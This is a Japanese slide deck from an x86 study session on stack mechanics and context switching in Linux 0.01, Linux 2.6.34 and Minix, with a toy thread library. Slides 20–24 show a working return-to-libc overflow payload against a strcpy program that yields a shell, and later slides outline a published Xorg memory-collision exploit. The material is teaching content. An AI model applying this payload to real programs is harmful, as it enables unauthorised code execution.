x86とコンテキストスイッチ

5,802 views

Published on

第1回 x86勉強会の発表資料

Published in: Technology

x86とコンテキストスイッチ

  1. 1. x86 とコンテキストスイッチ X86 勉強会 2010/08/21 @masami256
  2. 2. 自己紹介・ Linux 好き - Fedora の Proven testers グループのメンバー - Fedora のテストを色々とやってます - 昔は Debian でパッケージのメンテしたり・自作カーネルは一応経験済み
  3. 3. はじめに • 特に明記しない限り、 x86_32 のプロテクトモー ドで、呼出規約は cdecl です[masami@ftest x86]$ uname -aLinux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386GNU/Linux[masami@ftest x86]$ gcc -vUsing built-in specs.Target: i686-redhat-linuxコンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info--with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch=i686 --build=i686-redhat-linuxスレッドモデル : posixgcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
  4. 4. Agenda Todo Doing Done Linux Stack v0.01Stack の Linux 命令 v2.6.34Stack の Minuxまとめ v3.1.0Context スレッドSwitch
  5. 5. Agenda Todo Doing Done Linux Stack v0.01Stack の Linux 命令 v2.6.34Stack の Minuxまとめ v3.1.0Context スレッドSwitch
  6. 6. x86 の命令実行での主な登場人物• stack• eip• ebp• esp• call• ret• Task State Segment(TSS)
  7. 7. Stack• SS レジスタが指すセグメントの領域 – スタックが絡む命令では CPU が自動的に参照• フラットメモリモデルの場合 – リニアアドレス空間にスタックを設定可 – 領域の大きさは、セグメント次第• アクセスには esp 、 ebp を使用する• 関数単位でスタックフレームに分割される• メモリの高位アドレスから低位アドレスに 向かって領域が伸びていく
  8. 8. esp と ebp• esp – スタックポインタ • スタックの末端のアドレスを指す• ebp – スタックフレームのベースポインタ – 減算することで、ローカル変数へアクセス – 加算することで、関数の引数へアクセス
  9. 9. スタックフレーム - サンプル void test2(int a, int b) { char s[10]; } void test1(int a, int b) { int n = 10; int m = 20; test2(n + a, m + b); } int main(int argc, char **argv) { test1(1, 2); return 0; }
  10. 10. 低位アドレス スタックフレーム esp s test2() のスタックフレームSaved ebpRet address test1() で引数の n と m にするには、この a ようになる movl %eax, 8(%ebp) <- a にアクセス b test1() のスタックフレーム movl %edx, 12(%ebp) <- b にアクセス n ローカル変数の場合は、 m movl -4(%ebp), %eax <- m にアクセスSaved ebp movl -8(%ebp), %edx <- n にアクセスRet address a main() のスタックフレーム bSaved ebp高位アドレス
  11. 11. test1() 実行時のスタックフレーム(gdb) x/x $ebp + 00xbffff708: 0xbffff718(gdb) x/x $ebp + 40xbffff70c: 0x080483e9(gdb) x/x $ebp + 80xbffff710: 0x00000001(gdb) x/x $ebp + 120xbffff714: 0x00000002(gdb) x/x $ebp - 40xbffff704: 0x00000014(gdb) x/x $ebp - 80xbffff700: 0x0000000a(gdb) x/20x $esp0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff40xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e90xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc60xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
  12. 12. Agenda Todo Doing Done Linux Stack の Stack v0.01 命令 Linux v2.6.34Stack の Minuxまとめ v3.1.0Context スレッドSwitch
  13. 13. Stack 操作の命令• Push• Pop• Call• Ret• Enter• Leave
  14. 14. Stack 操作の命令 - Push/Popvoid push_pop(void){ int n = 0x20; printf("before: n is 0x%xn", n); $ ./a.out before: n is 0x20 asm volatile("push $0x10;nt" after: n is 0x10 "pop %[output];nt" :[output]"=g"(n)); printf("after: n is 0x%xn", n);}
  15. 15. Stack 操作の命令 - Call/Retvoid call001(void){ printf("call001-1n"); $ ./a.out asm ("pop %ebp;nt" call001-1 "ret;nt"); printf("call001-2n");} call と ret 命令では、 cpu がリターンア ドレスをスタック [ に積む / から取得 ]void call_ret(void) するので、使用時にこの辺は気にしな{ くてもよい仕様になってます。 asm ("call call001;nt");}
  16. 16. Stack 操作の命令 - Enter/Leave.globl enter_leave/* int enter_leave(void) */enter_leave:/* Reserve 16 bytes stack frame */ $ ./a.outenter $0x10, $0 ret is 32movl $0x20, -4(%ebp)/* %eax is return value */movl -4(%ebp), %eax enter 命令の実行内容は、以下/* Clear the stack frame */ の内容とほぼ等価ですleave pushl %ebpret movl %esp, %ebp/* 呼び出し */ subl $16, %espprintf("ret is %dn",enter_leave());
  17. 17. eip• 次に実行する命令のアドレスが入る• eip を直接弄ることはありません• mov $0x10, %eip とかはできません• call 、 ret や jmp 命令など実行すると cpu が適切な値を eip にセット• eip はスタックに積まれるので、制御を 自分で変更したい場合はこちらを弄り ます
  18. 18. 制御を自分で変えるvoid hello2(void){ cout << __FUNCTION__ << endl; exit(0);}extern "C" __attribute__((fastcall)) int hello(int a, int b){ cout << a << ":" << b << endl;} return 0; $ ./a.outint main(int argc, char **argv) 10:20{ int a = 10, b = 20; hello2 unsigned long addr = (unsigned long) &hello2; __asm__ __volatile__("push %[ret_ip]nt" "jmp hello;nt" :: [ret_ip] "g" (addr), [arg_a] "c"(a), [arg_b] "d"(b)); return 0;}
  19. 19. Agenda Todo Doing Done Linux Stack の Stack v0.01 まとめ Linux Stack の v2.6.34 命令 Minux v3.1.0Context スレッドSwitch
  20. 20. ここまでのまとめvoid test(char *p){ char buf[64]; strcpy(buf, p);}int main(int argc, char **argv){ test(argv[1]); printf("okn"); return 0;}
  21. 21. main()->test()->system()->exit() の流れで遊んでみる
  22. 22. system() に渡す引数の準備bt test$ BINSH=/bin/sh ; export BINSHbt test $ echo $BINSH/bin/shbt test $ ./getenvenvironment[BINSH] is in 0xbfffff15
  23. 23. メモリレイアウト 低位アドレス system() に渡す引数のアドレス0xbfffff15 exit() のアドレス0xb7ece3a0 system() のアドレス0xb7ed86e0B*4 オーバーフロー用のゴミデータ BBBB で ebp が上書きされるA*72 高位アドレス
  24. 24. 実行してみるbt test $ ltrace ./vuln `python -c print "A"*72 + "BBBB" + "xe0x86xedxb7" +"xa0xe3xecxb7" + "x15xffxffxbf"`__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) =0xbffff510sh-3.1$ iduid=1001(cola) gid=100(users) groups=100(users)sh-3.1$ exitexit--- SIGCHLD (Child exited) ---+++ exited (status 0) +++bt test $
  25. 25. AgendaTodo Doing Done Linux Context Stack v0.01 Switch Linux Stack の v2.6.34 命令 Minux Stack の v3.1.0 まとめ スレッド
  26. 26. Context Switching• Hardware Context Switching –X86 のタスク切り替え機能を利用 –Linux の v0.01 はこちら• Software Context Switching –自分でタスクを切り替える • 一部で cpu の機能を使う必要がある –今時のカーネルは普通こちら
  27. 27. TSS• Hardware/Software コンテキストスイッチ どちらでも利用する – Hardware コンテキストスイッチは TSS 必須 – Sfowtware コンテキストスイッチでは所用によ り使う• 各種レジスタ、セグメントなどの情報、 IO 許可 マップなどの情報を保存する領域
  28. 28. Hardware Context Switching• CPU によるサポート – FPU 、 MMX 、 SSE の切り替えは未サポート – GDT に TSS を置くので、タスク数は 8190 個 が最大• あまり使われていない – モダンな OS で使われてるケースってあるので しょうか?• Why? – 遅い(らしい) – http://wiki.osdev.org/Context_Switching
  29. 29. Hardware Context Switching の処理• TSS を作り GDT に置く – TSS はプロセス毎• ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK• プロセスの切り替えは、 JMP/CALL 命令で 実施 – 各レジスタのセーブ・リストアに関しては CPU がやってくれる – FPU などは除く
  30. 30. Software Context Switching• X86 の機能をフル活用しない – TSS の esp0 や IOBP などは利用しま す• タスク数の制限はない – プロセス単位に TSS ディスクリプタ が不要
  31. 31. Software Context Switching の処理• TSS を作り GDT に置く – Linux の場合、 TSS は cpu 毎• ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK• プロセスの切り替えはスタックの切り替えで実 施 – スタックを次のプロセスのものに切り替えて るのと、関数から戻るときにスタックに積ま れている eip を利用して切り替えを実施 – FPU などは自分で切り替える
  32. 32. AgendaTodo Doing Done Linux Stack v0.01 Linux Stack の v2.6.34 命令 Minux Stack の v3.1.0 まとめ Context スレッド Switch
  33. 33. Linux v0.01 の場合
  34. 34. Linux v0.01 - sched_initkernel/sched.c231void sched_init(void) TSS ディスクリプタを GDT にセット232{ * fork() 時は新プロセス用に作った TSS ディスクリプタをセットします233 int i;234 struct desc_struct * p;235236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss));237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));snip246 ltr(0); ltr 命令で TSS をセットします。snip254}include/linux/sched.h154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
  35. 35. Linux v0.01 - copy_process()kernel/fork.c61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none,64 long eip,long cs,long eflags,long esp,long ss)65{snip70 p = (struct task_struct *) get_free_page();71 if (!p)72 return -EAGAIN;73 *p = *current; /* NOTE! this doesnt copy the supervisor stack */74 p->state = TASK_RUNNING;75 p->pid = last_pid; 70 行目以降で作った新しいプsnip ロセスのディスクリプタを設定118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss));119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt));120 task[nr] = p; /* do this last, just in case */121 return last_pid;
  36. 36. Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" __tmp.b に gdt に設 定されている次のプ173 "movw %%dx,%1nt" ロセスの TSS セレク174 "ljmp %0nt" タ値を代入175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  37. 37. Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" カレントプロセスと次のプロ173 "movw %%dx,%1nt" セスが同一ならなにもしない174 "ljmp %0nt" 175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  38. 38. Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" 173 "movw %%dx,%1nt" セグメント間ジャンプでプロセス174 "ljmp %0nt" 切り替え実行175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  39. 39. Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" 173 "movw %%dx,%1nt" 最後に FPU レジスタを使ったプロ174 "ljmp %0nt" セスと切り替え後のプロセスを比175 "cmpl %%ecx,%2nt" 較して同じだったら、 clts 命令を176 "jne 1fnt" 実行い CR0 レジスタの TS フラグ177 "cltsn" をリセットする178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  40. 40. clts 命令と TS フラグ• CR0 レジスタの TS フラグをクリアする命令• TS は Task Switch の略• TS フラグはハードウェアコンテキストスイッチ 発生時に CPU によりセットされる• このフラグが立っているときに、浮動小数点命 令を使用すると例外( Device not available) が発 生する• この仕組みを利用して、 FPU レジスタの退避を 遅延させることができる
  41. 41. Agenda Todo Doing DoneMinux Linux Linux Stackv3.1.0 v2.6.34 v0.01 Stack のスレッド 命令 Stack の まとめ Context Switch
  42. 42. Linux v2.6.34 の場合
  43. 43. Linux 2.6.34 の Context Switch• switch_to マクロ – arch/x86/include/asm/system.h• __switch_to() – arch/x86/kernel/process_32.c
  44. 44. switch_to - 概要arch/x86/include/asm/system.h44/*45 * Saving eflags is important. It switches not only IOPLbetween tasks,46 * it also protects other tasks from NT leaking throughsysenter etc.47 */48#define switch_to(prev, next, last) このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to()の呼出をします。 __switch_to() から戻った時点で、プロセスが切り替わっています。
  45. 45. switch_to - 実行部分57 unsigned long ebx, ecx, edx, esi, edi; 58 59 asm volatile("pushflnt" /* save flags */ 60 "pushl %%ebpnt" /* save EBP */ 61 "movl %%esp,%[prev_sp]nt" /* save ESP */ 62 "movl %[next_sp],%%espnt" /* restore ESP */ 63 "movl $1f,%[prev_ip]nt" /* save EIP */ 64 "pushl %[next_ip]nt" /* restore EIP */ 65 __switch_canary 66 "jmp __switch_ton" /* regparm call */ 67 "1:t" 68 "popl %%ebpnt" /* restore EBP */ 69 "popfln" /* restore flags */
  46. 46. __switch_to() の主な処理• もし Prev プロセスが FPU を使っていた場合 は、 FPU レジスタを退避する• clts 命令の実行などもある• カーネル用のスタックを設定• TSS の sp0• Thread Local Storage へアクセス出きるよう にセグメントを設定 • I/O ポートへのアクセス権の設定
  47. 47. プロセス切替の完了 67 "1:t" 68 "popl %%ebpnt" /* restore EBP */ 69 "popfln" /* restore flags */ __switch_to() から戻る場所は、 67 行目にセットされているので、 ebp と、 eflags をリストアすることで switch_to() の処理は終了し、 Next プロセスの実行が始まる。
  48. 48. プロセス切替時のスタックの様子 jmp 命令で __switch_to() を呼Prev プロセスの び、 __switch_to() から return するときスタック にきに ret 命令が Next プロセスのスタ ックから %next_ip を読込み、指定されebp esp た場所に戻る pushl %%ebpeflags pushflXXX Next プロセスの XXX スタック movl %[next_sp],%%esp esp Ret Address pushl % XXX [next_ip] XXX
  49. 49. Agenda Todo Doing Done Minux Linuxスレッド Stack v3.1.0 v0.01 Stack の Linux 命令 v2.6.34 Stack の まとめ Context Switch
  50. 50. Minix v3.1.0 の場合
  51. 51. Minix3.1.0 の Context Switch● kernel/mpx386.s に実装がある● _restart() がコンテキストスイッチを実行● 通常は c の関数からは呼ばれない ● 同ファイルの割り込みハンドラから実行例外は kernel/main.c の main() で、終了時に呼●び出される ● main() の最後に _restart() を呼ぶ ● スケジューラにセットされたサーバプロセス の起動処理が走りだす
  52. 52. _restart - 前半_restart:cmp (_next_ptr), 0 _next_ptr は次のプロセスjz 0f で、次のプロセスが無けmov eax, (_next_ptr) れば、今のプロセスを継mov (_proc_ptr), eax 続するmov (_next_ptr), 00: mov esp, (_proc_ptr)lldt P_LDT_SEL(esp)lea eax, P_STACKTOP(esp)mov (_tss+TSS3_S_SP0), eax
  53. 53. _restart - 前半_restart: _proc_ptr に _next_ptr をセcmp (_next_ptr), 0 ットして、 _next_ptr をjz 0f NULL にするmov eax, (_next_ptr)mov (_proc_ptr), eax LDT をセットmov (_next_ptr), 00: mov esp, (_proc_ptr)lldt P_LDT_SEL(esp)lea eax, P_STACKTOP(esp)mov (_tss+TSS3_S_SP0), eax
  54. 54. _restart - LDT の設定先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldtにアクセスするために使用しています。このマクロを使用することで、 lldt 命令の引数を正しくセットできます。マクロは kernel/sconst.h にて定義。struct proc {struct stackframe_s p_reg; /* process registers saved in stack frame*/#if (CHIP == INTEL)reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS andremote segments */#endif この p_ldt にアクセスする
  55. 55. _restart - 前半_restart:cmp (_next_ptr), 0jz 0fmov eax, (_next_ptr)mov (_proc_ptr), eax TSS の sp0 をセットmov (_next_ptr), 00: mov esp, (_proc_ptr)lldt P_LDT_SEL(esp)lea eax, P_STACKTOP(esp)mov (_tss+TSS3_S_SP0), eax
  56. 56. Minix の TSS 構造体kernel/protect.hstruct tss_s {reg_t backlink;reg_t sp0;reg_t ss0; mov (_tss+TSS3_S_SP0), eaxreg_t sp1; ↑ の mov 命令で sp0 をセットするわけですが、その仕組み は単純で、 TSS を表す構造体 _tss の先頭からオフセットsnip TSS3_S_SP0 バイト目にアクセスするだけです。 386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ}; イト目は sp0 となり、目的の位置にアクセスできます。#define TSS3_S_SP0 4
  57. 57. _restart - 後半restart1: _restart() 内では使用しないラベルdecb (_k_reenter) カーネルのリエントラント用o16 pop gs のカウンタをデクリメントo16 pop fso16 pop eso16 pop ds スタックに積まれているリpopad ターンアドレスを無視add esp, 4iretd iretd で抜けて処理が完了
  58. 58. AgendaTodo Doing Done Linux スレッド Stack v0.01 Stack の Linux 命令 v2.6.34 Stack の Minux まとめ v3.1.0 Context Switch
  59. 59. スレッド スタックの切り替えでスレッドを切り替え ることができます 実験は x86_64 で行ってます
  60. 60. スレッド構造体typedef struct _Thread { struct _Thread *next; int thread_id; unsigned long context[CONTEXT_SIZE]; char *stack_top; /* NULL if this is main() thread */ int status;} Thread;
  61. 61. メインスレッドvoid ThreadMain(int argc, char **argv){ int t1, t2; t1 = ThreadCreate(f, 1); printf("create a new thread (i=%d) [id=%d]n", 1, t1); t2 = ThreadCreate(f, 2); printf("create a new thread (i=%d) [id=%d]n", 2, t2); ThreadYield(); printf("main thread finished.n");}
  62. 62. スレッド生成 - 前半int ThreadCreate(ThreadProc proc, unsigned long arg){ Thread *child; unsigned long addr = (unsigned long) ThreadStart; unsigned long stack_start = 0; child = AllocateThread(); child->stack_top = malloc(STACK_ALLOC_SIZE); memset(child->stack_top, 0, STACK_ALLOC_SIZE); stack_start = (unsigned long) child->stack_top + STACK_SIZE; memcpy((char *) stack_start, &addr, sizeof(addr));
  63. 63. スレッド生成 - 後半 child->context[0] = stack_start; child->context[1] = stack_start; child->context[2] = (unsigned long) proc; child->context[3] = arg; child->status = RUNNING; LinkThread(child); return child->thread_id;}
  64. 64. スレッドのエントリポイントstatic void ThreadStart(unsigned long proc, unsigned long arg){ ThreadProc ptr = (ThreadProc) proc; ptr(arg); ThreadExit();}
  65. 65. ThreadYeild- 前半void ThreadYield(){ Thread *t; int found = 0; for (t = threadList->next; t; t = t->next) { if (t && t->status == RUNNING && t != currentThread) { found = 1; break; } }
  66. 66. ThreadYeild- 後半if (found) { Thread *cur = currentThread; currentThread = t; printf("switch id %d to %dn", cur->thread_id, t->thread_id); _ContextSwitch(cur->context, t->context); } else if (currentThread->thread_id == MAIN_THREAD_ID) { // main threads state is FINISH. printf("There is only main threadn"); } else { printf("There is no active threadn"); }}
  67. 67. _ContextSwitch//void _ContextSwitch(void* old_context, void* new_context);.globl ENTRY(_ContextSwitch)ENTRY(_ContextSwitch): movq %rdi, %rax // old movq %rsp, 0(%rax) movq %rbp, 8(%rax) movq %rdi, 16(%rax) movq %rsi, 24(%rax) movq %rsi, %rax // new movq 0(%rax), %rsp movq 8(%rax), %rbp movq 16(%rax), %rdi // arg1 movq 24(%rax), %rsi // arg2 ret
  68. 68. スレッドの実行内容void f(int i){ int n = 0; for (n = 0; n < 10; n++) { printf("thread(%d): %d.n", i, n); ThreadYield(); } printf("thread (i=%d) finished.n", i);}
  69. 69. 実行結果[masami@moon]~/experiment/thread% ./test1create a new thread (i=1) [id=1]create a new thread (i=2) [id=2]switch id 0 to 2thread(2): 0.switch id 2 to 1thread(1): 0.switch id 1 to 2~switch id 1 to 2thread (i=2) finished.switch id -1 to 1thread (i=1) finished.switch id -1 to 0main thread finished.
  70. 70. まとめ• プロセスの切り替えは、スタックとスタック 操作のメカニズムが主要な鍵になってます• スタック周りの説明はバッファオーバーフロ ーなどのテクニックを紹介している本が結構 詳しいです• 大概は x86 で説明しているのと、 exploit コ ードの説明ではスタックの知識が必要なので …
  71. 71. 追加スライド• Linux カーネルの脆弱性のレポート – Exploiting large memory management vulnerabilities in Xorg server running on Linux• スタック & ヒープ領域に絡んだ話です – デフォルトインストールの Fedora 13 で 再現 • F13 は selinux 有効、 exec-shiled パッ チ有りがデフォルトです
  72. 72. 概要スタックとヒープを大量に使った場合の問題● ● スタックとヒープが重なったら危険!Xorg の MIT-SHM という拡張機能を使ってい●ると exploit の効果が抜群 ● この拡張を無効にすれば exploit の信頼性が落 ちるけど、 Xorg の機能性も落ちる
  73. 73. シナリオX サーバに大量のメモリを確保させる● ● x86_32 では実行する必要なし● 共有メモリ S を限界まで確保させる● 関数 F の再帰呼び出しを繰り返し実行させる● S の領域に 0 以外のデータが入っている場所 を探す ● スタックフレームとヒープが重なった!
  74. 74. シナリオ● プロセス W を立ち上げて、 S 内のデータをpayload で書き換える● F が関数から戻るときはスタックからリターンアドレスを取得する ● この時に payload を読み込んだらゲームオー バー ● W による書き換えと、 F がリターンアドレス を取得するタイミングでレースがある ● でも、ほとんどの SMP システムでは上手く できる
  75. 75. ご清聴ありがとうございました
  76. 76. リファレンス• Insecure Programming by example – http://community.corest.com/~gera/InsecureProgramming/• OSDev.org – http://wiki.osdev.org/Main_Page• Hacking: 美しき策謀 —脆弱性攻撃の理論と実際 – http://www.amazon.co.jp/dp/4873112303• xorg-large-memory-attack.pdf – http://www.invisiblethingslab.com/resources/misc- 2010/xorg-large-memory-attacks.pdf

×